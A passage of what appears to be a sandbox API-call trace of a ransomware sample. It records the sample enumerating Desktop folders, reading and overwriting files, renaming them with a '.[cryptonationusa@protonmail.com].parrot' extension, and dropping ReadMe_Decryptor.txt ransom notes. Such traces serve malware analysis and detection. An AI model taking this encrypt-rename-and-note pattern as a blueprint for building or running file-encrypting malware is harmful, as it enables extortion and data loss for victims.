Flags=0x0, Size=0xc0) returned 0x601838 [0033.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0033.260] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xpdd09ihfgv9h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpdd09ihfgv9h.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xpdd09ihfgv9h.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpdd09ihfgv9h.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0033.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0033.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.448] GetFileType (hFile=0x258) returned 0x1 [0033.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.458] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0033.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.458] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb32d6790, ftCreationTime.dwHighDateTime=0x1d5c2c9, ftLastAccessTime.dwLowDateTime=0x591643d0, ftLastAccessTime.dwHighDateTime=0x1d5bdfb, ftLastWriteTime.dwLowDateTime=0x591643d0, ftLastWriteTime.dwHighDateTime=0x1d5bdfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.458] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.458] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.458] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5202e3d0, ftCreationTime.dwHighDateTime=0x1d5c13b, ftLastAccessTime.dwLowDateTime=0xb427cdf0, ftLastAccessTime.dwHighDateTime=0x1d5bdb7, ftLastWriteTime.dwLowDateTime=0xb427cdf0, ftLastWriteTime.dwHighDateTime=0x1d5bdb7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cNIsUDrVJZuOF", cAlternateFileName="CNISUD~1")) returned 1 [0033.458] lstrcmpW (lpString1="cNIsUDrVJZuOF", lpString2=".") returned 1 [0033.458] lstrcmpW (lpString1="cNIsUDrVJZuOF", lpString2="..") returned 1 [0033.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0033.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0033.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x601838 [0033.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0033.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0033.459] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0033.459] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.459] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5202e3d0, ftCreationTime.dwHighDateTime=0x1d5c13b, ftLastAccessTime.dwLowDateTime=0xb427cdf0, ftLastAccessTime.dwHighDateTime=0x1d5bdb7, ftLastWriteTime.dwLowDateTime=0xb427cdf0, ftLastWriteTime.dwHighDateTime=0x1d5bdb7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.505] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.505] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.505] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a43870, ftCreationTime.dwHighDateTime=0x1d5c10a, ftLastAccessTime.dwLowDateTime=0x92d02790, ftLastAccessTime.dwHighDateTime=0x1d5c548, ftLastWriteTime.dwLowDateTime=0x92d02790, ftLastWriteTime.dwHighDateTime=0x1d5c548, nFileSizeHigh=0x0, nFileSizeLow=0x8a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="li2GnU1.docx", cAlternateFileName="LI2GNU~1.DOC")) returned 1 [0033.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0033.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.505] lstrcmpW (lpString1="li2GnU1.docx", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\li2GnU1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\li2gnu1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0033.505] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x8a9e [0033.505] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8bb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.506] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.506] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0033.506] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.506] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8a9e, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x8a9e, lpOverlapped=0x0) returned 1 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.507] GetLastError () returned 0x0 [0033.507] SetLastError (dwErrCode=0x0) [0033.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.507] GetLastError () returned 0x0 [0033.507] SetLastError (dwErrCode=0x0) [0033.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.507] GetLastError () returned 0x0 [0033.507] SetLastError (dwErrCode=0x0) [0033.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0033.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0033.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0033.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0033.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0033.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x606998 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.511] GetLastError () returned 0x0 [0033.511] SetLastError (dwErrCode=0x0) [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.511] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0033.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cbf98 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cc550 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc630 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60cdc0 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc630 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0033.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0033.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0033.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6652e8 [0033.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0033.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x649228 [0033.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0033.513] WriteFile (in: hFile=0x264, lpBuffer=0x649240*, nNumberOfBytesToWrite=0x8bb8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x649240*, lpNumberOfBytesWritten=0x18f4b4*=0x8bb8, lpOverlapped=0x0) returned 1 [0033.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0033.514] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8bb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.514] CloseHandle (hObject=0x264) returned 1 [0033.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5cbf98 [0033.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x60cdc0 [0033.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.516] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\li2GnU1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\li2gnu1.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\li2GnU1.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\li2gnu1.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0033.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0033.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0033.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5cbf98 [0033.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.520] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0033.521] GetFileType (hFile=0x264) returned 0x1 [0033.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.531] lstrcmpW (lpString1="oppUz5cwhPPNL2Xw-Y06.bmp", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\oppUz5cwhPPNL2Xw-Y06.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\oppuz5cwhppnl2xw-y06.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0033.531] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x7a7f [0033.531] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7b97, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.531] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.531] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0033.532] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.532] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7a7f, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x7a7f, lpOverlapped=0x0) returned 1 [0033.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.533] GetLastError () returned 0x0 [0033.533] SetLastError (dwErrCode=0x0) [0033.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.533] GetLastError () returned 0x0 [0033.533] SetLastError (dwErrCode=0x0) [0033.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.533] GetLastError () returned 0x0 [0033.533] SetLastError (dwErrCode=0x0) [0033.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0033.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0033.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0033.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x6069b0 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0033.535] GetLastError () returned 0x0 [0033.535] SetLastError (dwErrCode=0x0) [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: 